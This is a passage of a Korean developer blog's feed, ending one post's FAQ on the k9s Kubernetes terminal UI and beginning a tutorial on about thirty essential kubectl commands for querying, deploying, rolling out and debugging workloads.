&lt;p&gt;읽기(조회·로그)는 문제없습니다. 단, &lt;code class=&quot;language-text&quot;&gt;Ctrl+K&lt;/code&gt;(삭제)·&lt;code class=&quot;language-text&quot;&gt;e&lt;/code&gt;(edit)·&lt;code class=&quot;language-text&quot;&gt;s&lt;/code&gt;(shell) 같은 쓰기 액션은 &lt;strong&gt;RBAC로 제한&lt;/strong&gt;하는 걸 권장합니다. 실수로 Pod를 지우는 걸 방지하기 위해, 운영 컨텍스트는 &lt;code class=&quot;language-text&quot;&gt;ClusterRole&lt;/code&gt;을 &lt;code class=&quot;language-text&quot;&gt;view&lt;/code&gt; 정도로 바인딩해두세요.&lt;/p&gt;
&lt;h3&gt;Q. Lens나 Headlamp 같은 GUI는 어떤가요?&lt;/h3&gt;
&lt;p&gt;k9s는 터미널·단축키 중심, Lens/Headlamp는 GUI 중심입니다. SSH 세션 안에서 쓸 거라면 k9s가 거의 유일한 선택입니다. 로컬 개발 중심이면 GUI 도구도 좋은 선택인데, 키보드만으로 속도를 내고 싶다면 k9s가 훨씬 빠릅니다.&lt;/p&gt;
&lt;h3&gt;Q. kubectl 안 써도 되나요?&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;아니요.&lt;/strong&gt; 자동화·CI/CD·apply 기반 GitOps에서는 여전히 kubectl이 기본입니다. k9s는 &lt;strong&gt;탐색·디버깅 레이어&lt;/strong&gt;라고 생각하세요. 둘 다 있어야 온전합니다.&lt;/p&gt;
&lt;h3&gt;Q. 로그를 파일로 저장하고 싶어요.&lt;/h3&gt;
&lt;p&gt;로그 뷰에서 &lt;code class=&quot;language-text&quot;&gt;s&lt;/code&gt; 키로 저장 가능합니다. 기본 저장 경로는 &lt;code class=&quot;language-text&quot;&gt;/tmp&lt;/code&gt; 하위. 또는 plugin에 &lt;code class=&quot;language-text&quot;&gt;kubectl logs ... &gt; file.log&lt;/code&gt; 명령을 바인딩하는 방법도 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리 — 다음 단계&lt;/h2&gt;
&lt;p&gt;k9s는 &quot;도입 후 kubectl 쓰는 시간이 절반으로 줄었다&quot;는 후기가 가장 많은 도구입니다. 체감 생산성 변화가 크기 때문에, &lt;strong&gt;오늘 바로 설치해서 30분만 써보세요.&lt;/strong&gt; 단축키 &lt;code class=&quot;language-text&quot;&gt;?&lt;/code&gt; 한 번 누르고 &lt;code class=&quot;language-text&quot;&gt;d&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;l&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;f&lt;/code&gt; 세 개만 익혀도 효과가 즉시 나타납니다.&lt;/p&gt;
&lt;p&gt;오늘 정리 핵심:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;k9s는 &lt;strong&gt;실시간 TUI 대시보드&lt;/strong&gt;, kubectl과 역할 분담&lt;/li&gt;
&lt;li&gt;단축키 20개 중 &lt;code class=&quot;language-text&quot;&gt;d / l / p / s / f / /&lt;/code&gt; 이 6개가 하루의 80%&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:ctx&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;:ns&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;:xray&lt;/code&gt;는 멀티 클러스터 운영자의 필수&lt;/li&gt;
&lt;li&gt;커스터마이징(aliases·hotkeys·plugin)으로 반복 작업을 지속 줄이세요&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;시리즈 다음 주제&lt;/h3&gt;
&lt;ul class=&quot;contains-task-list&quot;&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Helm으로 K8S 패키지 관리하기&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; HPA·VPA로 오토스케일링 구성&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; Ingress + cert-manager로 HTTPS 자동화&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; ArgoCD로 GitOps 배포 파이프라인&lt;/li&gt;
&lt;li class=&quot;task-list-item&quot;&gt;&lt;input type=&quot;checkbox&quot; disabled&gt; kustomize로 환경별 YAML 관리&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;여러분은 어떤 k9s 단축키나 플러그인을 가장 유용하게 쓰고 계신가요? 댓글로 공유해주시면 다음 편에 반영하겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[kubectl 실전 명령어 완벽 가이드 — 쿠버네티스 입문자가 외워야 할 30개]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "까지는 외웠는데, 막상 Pod가 죽었을 때 뭘 쳐야 할지 막막합니다." 솔직히 저도 그랬습니다. K8S…]]></description><link>https://blog.javapark.kr/kubectl-essential-commands/</link><guid isPermaLink="false">https://blog.javapark.kr/kubectl-essential-commands/</guid><pubDate>Sat, 18 Apr 2026 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;&lt;code class=&quot;language-text&quot;&gt;kubectl get pods&lt;/code&gt;까지는 외웠는데, 막상 Pod가 죽었을 때 뭘 쳐야 할지 막막합니다.&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 저도 그랬습니다. K8S 공식 문서를 열면 명령어가 수십 개 나오는데, 어떤 걸 먼저 익혀야 할지 순서가 없어서 금방 지칩니다. &quot;외워야 한다&quot;는 부담감에 실전에서는 결국 구글링으로 돌아가게 되죠.&lt;/p&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;kubectl은 5개 카테고리, 30개 명령어만 외우면 일상 운영의 90%가 커버됩니다.&lt;/strong&gt; 조회·배포·롤아웃·디버깅·컨텍스트. 이 5개 축으로 정리하면 새 명령어를 만났을 때도 어디에 속하는지 바로 감이 옵니다. 오늘은 이 순서대로, 실전에서 바로 쓰는 패턴까지 정리하겠습니다.&lt;/p&gt;
&lt;p&gt;이전 편을 안 보셨다면 &lt;a href=&quot;/k8s-understanding/&quot;&gt;K8S에 대한 이해&lt;/a&gt;부터 읽어오시면 도움이 됩니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&apos;gatsby-resp-image-figure&apos; style=&apos;margin-bottom: 16px;&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-wrapper&apos; style=&apos;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 860px; &apos;&gt;
      &lt;a class=&apos;gatsby-resp-image-link&apos; href=&apos;/static/0ec642254d726b7cd122f37738856bd4/64756/diagram-categories.png&apos; style=&apos;display: block&apos; target=&apos;_blank&apos; rel=&apos;noopener&apos;&gt;
    &lt;span class=&apos;gatsby-resp-image-background-image&apos; style=&quot;padding-bottom: 60%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACQklEQVR42iWS266bMBBF+YMmJGCCgXCzDTYXc8c4QCDXo54eVX3qQ///O4paaT1szWhrzcMo3+x8j6VK5N6rIRGEX302Er6w+hGmkxE0JupM3G8rK5J2PNiRsIiAqN/mys7JVb4c8uWQTDZfssuPuH1n8nsz/mTV20LSIdKLW591YSLOVMJoguSycQpbZefmaifVrNPzXk3Gffl5jKYjm33yEbGvkL4Qu82yqOqWlx3Kr17/x0oe5/RlBJ2iuhy0s5ZLlTZaOsH265SsOp2j7DMtf/nxwyezlF1Zi5iVPpOh+O2kTytegVcr6pnrqA34AuNeRa0VTbh4ACzNcAjZEufPMxIeaSifUdzYqDaRpNXLIpN2rpSDy3XSetkMcHPEnUVnP1t1JC00IraS9O6EwicVSWVA6n/li42l7naaWylHt9BoDxKh006n8pSuZnbbLnfjFdEnYm+PTJjWjA8kLhzcnMhV84QWyINTKbpX6qkA+WDwAaTyxJ9m8TKLp0/vOPkI6YcfzXFa0rRgCbdJC6L7Kb4BsqpOqeh+BbKteTEKCdLR5C9YvmHx9Oht0wabOZripIiTMmL5/zKIbjpe1M0MgtrIhJFvTmkkI8yfcDNndwfNPr75+H72BxJlEeUkzqyw1vCq4/WIrnu7UoywBUlvpMLIBjOTZj6Z2Qj5GIpHMDxhu7jtcs6FgQtAyiNu9rjfk36Hup1dKHB7PTpAJu1ktNONy5YhG+zsAlNpMHGiApDuGNSHoNlQg3q35bDdO+Vfzp96ibZozgcAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
          &lt;source srcset=&apos;/static/0ec642254d726b7cd122f37738856bd4/a1b3b/diagram-categories.webp 215w,
/static/0ec642254d726b7cd122f37738856bd4/fc700/diagram-categories.webp 430w,
/static/0ec642254d726b7cd122f37738856bd4/521f7/diagram-categories.webp 860w,
/static/0ec642254d726b7cd122f37738856bd4/cbd37/diagram-categories.webp 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/webp&apos;&gt;
          &lt;source srcset=&apos;/static/0ec642254d726b7cd122f37738856bd4/f7886/diagram-categories.png 215w,
/static/0ec642254d726b7cd122f37738856bd4/bc750/diagram-categories.png 430w,
/static/0ec642254d726b7cd122f37738856bd4/3e3fe/diagram-categories.png 860w,
/static/0ec642254d726b7cd122f37738856bd4/64756/diagram-categories.png 1200w&apos; sizes=&apos;(max-width: 860px) 100vw, 860px&apos; type=&apos;image/png&apos;&gt;
          &lt;img class=&apos;gatsby-resp-image-image&apos; src=&apos;/static/0ec642254d726b7cd122f37738856bd4/3e3fe/diagram-categories.png&apos; alt=&apos;kubectl 5개 카테고리와 30개 핵심 명령어 맵 — 조회·배포·롤아웃·디버깅·컨텍스트&apos; title=&apos;&apos; loading=&apos;lazy&apos; decoding=&apos;async&apos; style=&apos;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&apos;&gt;
        &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&apos;gatsby-resp-image-figcaption&apos;&gt;kubectl 5개 카테고리와 30개 핵심 명령어 맵 — 조회·배포·롤아웃·디버깅·컨텍스트&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;kubectl이란?&lt;/h2&gt;
&lt;p&gt;쿠버네티스를 사용하는 공식 CLI입니다. 본질은 단순합니다 — &lt;strong&gt;K8S API Server에 REST 요청을 보내는 클라이언트&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;단일 바이너리, 크로스 플랫폼 (macOS·Linux·Windows)&lt;/li&gt;
&lt;li&gt;설정 파일: &lt;code class=&quot;language-text&quot;&gt;~/.kube/config&lt;/code&gt; (여러 클러스터 전환 가능)&lt;/li&gt;
&lt;li&gt;서버 버전과 클라이언트 버전은 마이너 1개 차이 이내 권장&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 버전 확인 — 가장 먼저 치는 명령어&lt;/span&gt;
kubectl version &lt;span class=&quot;token parameter variable&quot;&gt;--short&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 현재 연결된 클러스터 확인&lt;/span&gt;
kubectl cluster-info&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;기본 명령 구조&lt;/h2&gt;
&lt;p&gt;모든 kubectl 명령은 같은 패턴을 따릅니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl &amp;lt;동사&gt; &amp;lt;리소스&gt; &amp;lt;이름&gt; [옵션]&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;예시:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl get pod nginx &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; yaml
&lt;span class=&quot;token comment&quot;&gt;#        ──┬── ─┬─ ──┬── ───┬───&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;#         동사 리소스 이름   옵션&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;리소스 약어 — 외우면 타이핑이 절반&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;약어&lt;/th&gt;
&lt;th&gt;풀네임&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;po&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;pods&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;deploy&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;deployments&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;svc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;services&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ing&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ingresses&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;cm&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;configmaps&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;ns&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;namespaces&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;no&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;nodes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;rs&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;replicasets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;pvc&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;persistentvolumeclaims&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;kubectl api-resources&lt;/code&gt; 로 전체 약어 목록을 볼 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1. 조회(Read) — 가장 많이 쓰는 5개&lt;/h2&gt;
&lt;p&gt;K8S 운영의 80%는 &quot;지금 뭐가 돌고 있지?&quot;를 확인하는 일입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 전체 Pod 상태&lt;/span&gt;
kubectl get pods
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; wide          &lt;span class=&quot;token comment&quot;&gt;# IP·노드 정보까지&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; kube-system   &lt;span class=&quot;token comment&quot;&gt;# 특정 네임스페이스&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx     &lt;span class=&quot;token comment&quot;&gt;# 라벨 필터&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;-A&lt;/span&gt;               &lt;span class=&quot;token comment&quot;&gt;# 모든 네임스페이스&lt;/span&gt;
kubectl get pods &lt;span class=&quot;token parameter variable&quot;&gt;--watch&lt;/span&gt;          &lt;span class=&quot;token comment&quot;&gt;# 실시간 변화 관찰&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 상세 정보 (이벤트·조건·연결 확인)&lt;/span&gt;
kubectl describe pod &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 로그&lt;/span&gt;
kubectl logs &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
kubectl logs &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;              &lt;span class=&quot;token comment&quot;&gt;# 실시간 팔로우&lt;/span&gt;
kubectl logs &lt;span class=&quot;token parameter variable&quot;&gt;--previous&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# 직전 종료된 컨테이너 로그&lt;/span&gt;
kubectl logs &lt;span class=&quot;token parameter variable&quot;&gt;--tail&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;100&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# 마지막 100줄&lt;/span&gt;
kubectl logs &lt;span class=&quot;token parameter variable&quot;&gt;-l&lt;/span&gt; &lt;span class=&quot;token assign-left variable&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx --all-containers  &lt;span class=&quot;token comment&quot;&gt;# 라벨 기반 일괄 조회&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 리소스 사용량 (metrics-server 필요)&lt;/span&gt;
kubectl &lt;span class=&quot;token function&quot;&gt;top&lt;/span&gt; pods
kubectl &lt;span class=&quot;token function&quot;&gt;top&lt;/span&gt; nodes

&lt;span class=&quot;token comment&quot;&gt;# YAML 원본 추출&lt;/span&gt;
kubectl get deployment nginx &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;describe&lt;/code&gt;의 맨 아래 &lt;strong&gt;Events&lt;/strong&gt; 섹션을 먼저 읽으세요. Pod가 안 뜨는 이유 80%는 여기에 나옵니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;2. 배포(Write) — apply 하나로 대부분 해결&lt;/h2&gt;
&lt;p&gt;선언형(&lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;)과 명령형(&lt;code class=&quot;language-text&quot;&gt;create&lt;/code&gt;·&lt;code class=&quot;language-text&quot;&gt;run&lt;/code&gt;)이 있는데, &lt;strong&gt;실무에선 거의 &lt;code class=&quot;language-text&quot;&gt;apply&lt;/code&gt;만 씁니다.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 선언적 배포 — YAML을 원천으로&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; deployment.yaml
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; ./k8s/              &lt;span class=&quot;token comment&quot;&gt;# 디렉토리 전체&lt;/span&gt;
kubectl apply &lt;span class=&quot;token parameter variable&quot;&gt;-k&lt;/span&gt; ./overlays/prod     &lt;span class=&quot;token comment&quot;&gt;# Kustomize 오버레이&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 삭제&lt;/span&gt;
kubectl delete &lt;span class=&quot;token parameter variable&quot;&gt;-f&lt;/span&gt; deployment.yaml
kubectl delete pod &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;
kubectl delete pods &lt;span class=&quot;token parameter variable&quot;&gt;--all&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-n&lt;/span&gt; &lt;span class=&quot;token builtin class-name&quot;&gt;test&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;# 네임스페이스 내 Pod 일괄&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 즉석 편집 (배포본 수정 → 저장 시 반영)&lt;/span&gt;
kubectl edit deployment nginx

&lt;span class=&quot;token comment&quot;&gt;# 스케일&lt;/span&gt;
kubectl scale deployment nginx &lt;span class=&quot;token parameter variable&quot;&gt;--replicas&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 이미지만 빠르게 교체 (CD 파이프라인에서 자주 사용)&lt;/span&gt;
kubectl &lt;span class=&quot;token builtin class-name&quot;&gt;set&lt;/span&gt; image deployment/nginx &lt;span class=&quot;token assign-left variable&quot;&gt;nginx&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx:1.28&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;선언형 vs 명령형 선택 기준&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;상황&lt;/th&gt;
&lt;th&gt;추천&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;운영 환경, GitOps&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;선언형(apply)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;빠른 테스트·실험&lt;/td&gt;
&lt;td&gt;명령형(run·create)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;리뷰·버전 관리 필요&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;선언형(apply)&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;실험용으로 명령형 쓸 때도 &lt;code class=&quot;language-text&quot;&gt;--dry-run=client -o yaml&lt;/code&gt;로 YAML 뽑아서 저장해두는 습관을 들이면 좋습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;kubectl create deployment demo &lt;span class=&quot;token parameter variable&quot;&gt;--image&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;nginx --dry-run&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;client &lt;span class=&quot;token parameter variable&quot;&gt;-o&lt;/span&gt; yaml &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; demo.yaml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;3. 롤아웃 관리 — 배포 추적과 롤백&lt;/h2&gt;
&lt;p&gt;Deployment를 업데이트할 때 가장 쓸모 있는 명령들입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 배포 진행 상태 확인 (CD 파이프라인 체크용)&lt;/span&gt;
kubectl rollout status deployment/nginx

&lt;span class=&quot;token comment&quot;&gt;# 배포 히스토리&lt;/span&gt;
kubectl rollout &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; deployment/nginx
kubectl rollout &lt;span class=&quot;token function&quot;&gt;history&lt;/span&gt; deployment/nginx &lt;span class=&quot;token parameter variable&quot;&gt;--revision&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# 특정 리비전 상세&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 롤백&lt;/span&gt;
kubectl rollout undo deployment/nginx                  &lt;span class=&quot;token comment&quot;&gt;# 직전 버전&lt;/span&gt;
kubectl rollout undo deployment/nginx --to-revision&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;  &lt;span class=&quot;token comment&quot;&gt;# 특정 버전&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 재시작 (ConfigMap 변경 후 Pod 재생성 강제)&lt;/span&gt;
kubectl rollout restart deployment/nginx

&lt;span class=&quot;token comment&quot;&gt;# 진행 중인 배포 일시정지 / 재개&lt;/span&gt;
kubectl rollout pause deployment/nginx
kubectl rollout resume deployment/nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;실전 팁:&lt;/strong&gt; &lt;code class=&quot;language-text&quot;&gt;rollout restart&lt;/code&gt;는 Secret/ConfigMap 변경 시 &lt;code class=&quot;language-text&quot;&gt;imagePullPolicy: Always&lt;/code&gt;가 아니어도 Pod를 새로 뜨게 해줍니다. 배포 YAML 수정 없이 Pod만 리프레시할 때 유용합니다.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2&gt;4. 디버깅 — 여기서 진짜 실력이 나옵니다&lt;/h2&gt;
&lt;p&gt;Pod가 안 뜨거나 이상하게 동작할 때 쓰는 명령들. 입문자가 가장 어려워하는 영역이지만, 패턴 몇 개만 익히면 됩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 컨테이너 안으로 진입&lt;/span&gt;
kubectl &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; -- &lt;span class=&quot;token function&quot;&gt;bash&lt;/span&gt;
kubectl &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-it&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; -- &lt;span class=&quot;token function&quot;&gt;sh&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# bash 없는 이미지용&lt;/span&gt;
kubectl &lt;span class=&quot;token builtin class-name&quot;&gt;exec&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod-name&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; -- &lt;span class=&quot;token function&quot;&gt;env&lt;/span&gt;      &lt;span class=&quot;token comment&quot;&gt;# 환경변수만 출력&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# 로컬 포트 ↔ Pod/Service 연결 (브라우저에서 테스트)&lt;/span&gt;
kubectl port-forward svc/nginx &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;:80
kubectl port-forward pod/nginx-xxxx &lt;span class=&quot;token number&quot;&gt;8080&lt;/span&gt;:80

&lt;span class=&quot;token comment&quot;&gt;# 파일 전송&lt;/span&gt;
kubectl &lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; ./local.txt &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;:/tmp/local.txt
kubectl &lt;span class=&quot;token function&quot;&gt;cp&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;pod&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;:/var/log/app.log ./app.log

&lt;span class=&quot;token comment&quot;&gt;# 임시 디버그 컨테이너 붙이기 (K8S 1.25+)&lt;/span&gt;
